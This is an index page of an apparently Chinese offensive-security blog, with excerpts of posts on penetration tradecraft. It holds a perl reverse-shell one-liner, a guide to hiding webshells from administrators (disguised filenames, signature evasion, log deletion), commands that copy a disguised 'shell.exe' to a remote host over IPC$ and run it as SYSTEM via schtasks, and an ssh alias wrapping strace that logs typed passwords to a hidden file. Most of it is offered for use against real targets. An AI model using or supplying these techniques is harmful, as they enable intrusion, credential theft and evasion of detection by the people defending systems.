Evil-404

专注于 APT 攻防研究,致力于高质量实用干货分享


  • 首页

  • 导航

  • 分类

  • 归档

  • 标签

  • 关于

  • 搜索

powershell 渗透框架[ nishang ]

发表于 2016-10-06 | 更新于: 2017-10-18 | 分类于 powershell
字数统计: 4,446 | 阅读时长 ≈ 19



0x01 前言
    注意,powershell只能针对win7以后的系统使用,此之前的win系统是没有引入powershell的,powershell是什么这里就不废话了,大家请自行谷歌,在使用各种powrshell脚本过程中,系统权限自然也是越高越好,权限越大你能在系统中操作的范围就越广,至于为什么要选择powershell,想必大家早已心知肚明,免杀,可直接跟系统api交互,容易定制,轻量,远程加载执行,对目标系统的影响极小……好处众多,这里就不多啰嗦了,说破天,我们最终的目的还是希望能在实际渗透中把它用起来,不然,实际价值何在呢

0x02 关于nishang
    今天我们就先来看看第一款powershell渗透框架其实,个人觉得把它称为powershell渗透框架似乎更合适些,nishang [想必现在早已家喻户晓],关于nishang中的各个ps脚本的选项用法,在其脚本代码的最前面都有详细说明,使用前请务必仔细阅读,因为系统默认是禁止执行ps脚本的,所以实际用的时候后面都会带上bypass选项

1
2
Set-ExecutionPolicy Unrestricted  如果你得到的是一个交互式的ps shell,也可以用该命令来放开脚本执行限制
# powershell –exec bypass –Command "Get-Host | Select-Object Version" 查看当前powershell版本,有些脚本只能在指定的powershell版本中执行

阅读全文 »

放心地种下你的webshell 之 webshell隐藏小记

发表于 2016-10-05 | 更新于: 2017-08-24 | 分类于 webshell hidden
字数统计: 1,533 | 阅读时长 ≈ 5



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
拿到webshell以后的第一件事儿,就是顺手把webshell时间属性改为和同目录下其它文件相同的时间戳,一般在大马里或其它的一些webshell管理工具都提供了类似的功能
尽量放在那些程序员和管理都不会经常光顾到的目录中,比如:各种第三方工具(phpmyadmin)的一些插件目录,主题目录以及临时目录等等……
webshell所在目录层级自然是越深越好,平时网站不出问题的话,一般四五级目录下很少会被人注意到……
webshell的名字尽量不要太招摇,尤其是像带有shell,spy,hack,0day,love,shit……这种很典型常见的关键字(我们渗透最最终的目的还是希望拿到自己想要的东西而不被人察觉,不要因为自己的无知和愚蠢,而造成一些不必要的麻烦),……,在给webshell起名字的时候尽量模仿着当前目录的一些名字特征来取,以混淆视听,比如,我们在目标网站目录中,发现有个叫'node.tpl.php'的文件,那我们就可以模仿他取个叫'plugins.tpl.php'的名字,这样相对容易蒙混过关
webshell里面尽量不要用带有类似eval这种的危险特征,如果是在linux中管理员只需要find grep 一句话就能锁定特征,除了eval,还有比如:exec,system,passthru,shell_exec,assert……这些函数都最好不要用,你可以尝试创建个自定义函数,然后调用它,函数里面可以接你的webshell参数,不仅能在一定程度上延长webshell的存活时间,也加大了管理的查找难度,可以暂时性躲避一些功能比较简陋的waf查杀,此外,我们也可以使用一些类似:call_user_func,call_user_func_array,诸如此类的回调函数特性来想办法构造我们的webshell,关于webshell免杀,后续会专门再说,这里先提一嘴
你也可以尝试直接把一句话函数插到目标网站自己的脚本文件里面,当然最好是一个非常不起眼的地方,比如:函数库文件,配置文件里面等等,然后你再到另一个导该函数库的脚本文件中去调用那个一句话…
如果已经拿到服务器权限,可以把网站日志中的所有关于webshell的访问记录以及渗透时造成的一些网站报错记录以及你自己的一些ip访问日志,顺手删掉或者替换都行,如果是linux那就很好办了,sed或者egrep几句话就搞定了,如果windows,嫌麻烦就清空吧,关于记录清理也是个比较大的问题,后续单独说
尝试利用静态文件(比如,各类图片,css,js,html,txt文件等等)隐藏一句话,然后用.htaccess 进行解析,不这过需要目标开启重写才行,例如.htaccess实现自解析,确实比较老套了,基于.htaccess实现的变种其实还有非常多,这里就不一一说了
利用php.ini或者user.ini来解析你的webshell,想必大家也已经用的比较多了,烂大街了
如果是大马的话,尽量把里面的一些注释和作者信息全部都去掉,比如intitle能搜到的各种信息等等,最好先通读代码,把里面的webshell箱子剔除一下,推荐用开源的大马,方便定制,记住,我们的webshell尽量不要编码,因为编码也并不能很好解决waf的问题,你知道的,正常的脚本文件是绝对不会编码的,一旦稍微有经验的程序员或者管理看到这些东西,肯定就会被发现,还有,大马中一般都会带有pass或者password类的字符,建议把这些敏感字段全部换成别的,因为管理依然可以通过这种方式快速定位到我们的webshell
养成好习惯,为了防止权限很快丢失,最好再上传几个备用webshell到不同的目录位置,注意,每个webshell的路径和名字千万不要都一样更不要在同一个目录下,多跳几层,传上去以后确定shell正常访问就可以了,不到万不得已不用去访问它,防止留的日志太多,暴露自己
在你已经有机器权限的情况下,还可以看看管理员还有没有自己写的一些webshell监测脚本,比如一些非常可疑的硬链接
上传图片马,然后再到另一个不起眼的地方尝试去包含它,也是烂大街的东西了,想必大家也已非常熟悉
如果有可能的话,可以抽空审计下目标代码,尝试在正常的代码中利用回掉的方式构造执行自己的webshell,这种没有任何文件的后门确实比较隐蔽
脚本执行完以后进行自删除,然后直接把webshell代码驻留在内存中,当然,这种方式有个非常大的弊端,一旦目标重启web服务就废了
尝试给webshell文件设置一些特殊属性
更多,待续……



小结:
    上面这些都是自己根据实际渗透中的一些经验以及基于前人的基础上,顺手整理的,不过,无疑中发现个很有意思的事情,不知道是哪位朋友拿着自己曾经残缺的笔记,发了出去,然后网上转的到处都是,嘿嘿……不过没关系啦,反正我在乎的只是技术本身,除此之外的东西,不值一提,当然,基于上面思路的变种肯定还会有非常非常多,也期待能和大家一起多交流,待续…

你和目标只差一个shell的距离

发表于 2016-09-28 | 更新于: 2017-12-19 | 分类于 shell
字数统计: 2,761 | 阅读时长 ≈ 12



0x01 前奏说明
    很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……其实,我一直都建议,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……

0x02 大致环境

1
2
3
4
win7          192.168.1.128
centos6.8 192.168.1.129
win2008R2 192.168.1.131
kali 192.168.1.147

0x03 关于linux平台下弹shell的一些方式

利用perl的socket,也是个人比较推荐的方式,因为现今几乎所有主流的linux发行版都已经装好了perl,细心的你也许会发现很多大马里弹shell的选项中一般都会有perl,后面bash -i的意思就是执行一个可交互的shell

1
2
C:\>nc -lvp 53
# perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

''

阅读全文 »

快速编译安装配置 py2.7 & jdk 1.7

发表于 2016-09-27 | 更新于: 2017-10-20 | 分类于 python
字数统计: 358 | 阅读时长 ≈ 2



0x01 前言:
    有时迫于无奈,我们需要在目标机器上安装一些自己的工具环境,尤其是linux(默认python版本是2.6.6的,现在有些脚本已经很难跑起来),至于win,其平台下的工具已经非常丰富了,这里就不说了

0x02 编译安装python2.7:

1
2
3
4
5
6
7
8
9
10
11
12
# yum groupinstall "Development tools" -y
# yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel -y
# wget https://www.python.org/ftp/python/2.7.11/Python-2.7.11.tgz
# tar xf Python-2.7.11.tgz
# cd Python-2.7.11
# ./configure --prefix=/usr/local
# make && make install
# echo $?
# python2.7

>>> import sys
>>> sys.version

阅读全文 »

通向彼岸 之内网代理转发 [msf中的socs4a模块使用及meterpreter多级内网穿透]

发表于 2016-09-26 | 更新于: 2017-11-10 | 分类于 scoks4a
字数统计: 823 | 阅读时长 ≈ 3



0x01 前言:
    如果你觉得用别的socks代理工具太麻烦,不用担心,在msf中同样也为我们提供好了用于socks代理的模块[socks4a],虽然它只是基于scoks4的,但对于我们实际渗透来讲,关系并不大

0x02 首先,假设我们已经获取了目标系统的一个meterpreter会话,然后,我们发现在该目标机器上存在内网段,此时,我们想继续对目标该内网进行渗透,然后就有了下面的一些内容

阅读全文 »

win内网中利用ipc弹shell 小记

发表于 2016-09-25 | 更新于: 2017-08-23 | 分类于 ipc note
字数统计: 669 | 阅读时长 ≈ 3



0x01 首先,想办法把马拷到目标机器上再说:

1
2
# net use \\192.168.3.168\ipc$ /user:administrator "admin!@#45"
# copy shell.exe \\192.168.3.168\c$\windows\temp\plugin_update.exe

0x02 利用最常规的copy[xcopy] & schtasks(按说ipc建立以后,schtasks就不用带账号密码了,尤其我这里还是以system权限运行[本身就不需要账号密码],但实际测试中不带就拒绝访问,至于具体原因,暂未知,保险起见还是带上):

1
2
3
# schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 10:29 /S 192.168.3.168 /RU System  /u administrator /p "admin!@#45" 
# schtasks /run /tn "plugin_update" /S 192.168.3.168 /u administrator /p "admin!@#45" 你也可以不用等,让目标立即运行任务
# schtasks /F /delete /tn "plugin_update" /S 192.168.3.168 /u administrator /p "admin!@#45"

阅读全文 »

win计划任务小记 [ at schtasks ]

发表于 2016-09-24 | 更新于: 2017-10-24 | 分类于 schtasks
字数统计: 306 | 阅读时长 ≈ 1



0x01 关于win系统计划任务的一些简单使用,03以前的系统中可使用 at 来执行各种系统计划任务

1
2
# at 14:23 /every:18,19,21,24,28 c:\shell.exe  创建本地计划任务,每月的这几号的这个点执行指定的可执行程序
# at /delete /y 删除本地所有的计划任务

1
2
# at \\192.168.3.23 14:23 /every:18,19,21,24,28 c:\shell.exe 在远程机器上创建计划任务
# at \\192.168.3.23 /delete /y 删除远程机器上的所有的计划任务
阅读全文 »

利用strace来跟踪 ssh 登陆密码

发表于 2016-09-23 | 更新于: 2017-10-26 | 分类于 strace
字数统计: 395 | 阅读时长 ≈ 2



0x01 前言
strace 本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,比如ssh,su,sudo,这里以跟踪ssh登陆密码为例,大家可自行脑洞更多其它用法,关于strace自身的选项作用,请man strace:

1
2
3
# yum install epel-release -y   利用epel源来装,直接yum可能yum不到
# yum install strace -y 如果目标机器没有装strace,那你就自己顺手给他装一个,不过像这类的调试工具,一般都会作为常用工具而被预装
# vi ~/.bashrc 注意,这里是当前用户的环境变量配置文件,也就是说它只能对当前用户有效,不过你也可以加到全局配置中 '/etc/bashrc'
1
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'
阅读全文 »

通向彼岸 之内网代理转发 [ ssh隧道 ]

发表于 2016-09-22 | 更新于: 2017-11-10 | 分类于 ssh portforwd
字数统计: 1,946 | 阅读时长 ≈ 7



0x01 此次用于实验的大致环境,如下:

1
2
3
4
5
6
lnmp01 	[centOS6.8_x64] 	ip: 192.168.3.30  	假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
win2008R2cn ip: 192.168.3.23 假设为目标公网中的一台windows机器,rdp只能通过192.168.3.x这个ip段访问
win7en ip: 192.168.32.195 假设为自己本地内网中的一台windows机器
win7en_bak ip: 192.168.3.17 假设为自己公网的另一台windows机器

0x02 关于ssh 工具本身选项用途简介 [更多详情,请自行man ssh,帮助手册里面说的非常详细]:

1
2
3
4
5
6
7
8
9
10
11
12
-C  压缩传输数据,加快传输速度
-f 后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell
-n 后台运行
-q 安静模式,不要显示警告等信息
-l 指定ssh登录名
-g 允许远程主机连接到本地转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

阅读全文 »

通向彼岸 之内网代理转发 [ 利用端口重定向bypass各类应用层防火墙 fpipe ]

发表于 2016-09-21 | 更新于: 2017-11-11 | 分类于 fpipe
字数统计: 941 | 阅读时长 ≈ 3



0x01 前言:
    如果你觉得netsh和iptables配置稍微有点儿繁琐,有款小工具可能会适合你,fpipe 一款专门用于端口重定向的小工具,从名字就能猜出来它是干啥的,很明显,forward pipe[转发,通过管道],虽然功能上和netsh有一点点类似,但确实不是一类东西,同样是监听来自外部的某个端口,但它多做了一步,它会把来自外部端口的流量先转到本地某个指定的端口上[转发],再通过转到的这个本地端口去连远程机器的某个端口[管道],而不是像netsh只是单纯的把端口转过去,简易通信流程如下

1
外部端口访问 <-> 本地监听来自外部的这个端口并它转到本地的另一个端口上(在本地绑定两个端口) <-> 通过本地的另一个端口和远程机器的某个端口通信

工具选项如下,非常简单,看选项说明基本就懂了:

0x02 我们可以拿它来做什么
    刚刚在上面已经说过,它并非直接转发,而是又自己建立了一个新的通道,这样的好处在哪里呢,很明显,我们可以通过这样的方式来轻松bypass掉各类应用层防火墙

阅读全文 »
1…91011…17
VK

VK

别惹我,我疯起来连自己都黑!

163 日志
115 分类
110 标签
RSS
GitHub E-Mail Twitter
安全资讯
  • FreeBuf
  • 指尖安全
  • SecWiki
  • 先知社区
  • 嘶吼
  • 安全客
  • 安全牛
  • E安全
© 2019 VK
博客全站共312.4k字
由 Evil-404 维护
| 本站总访问量次
0%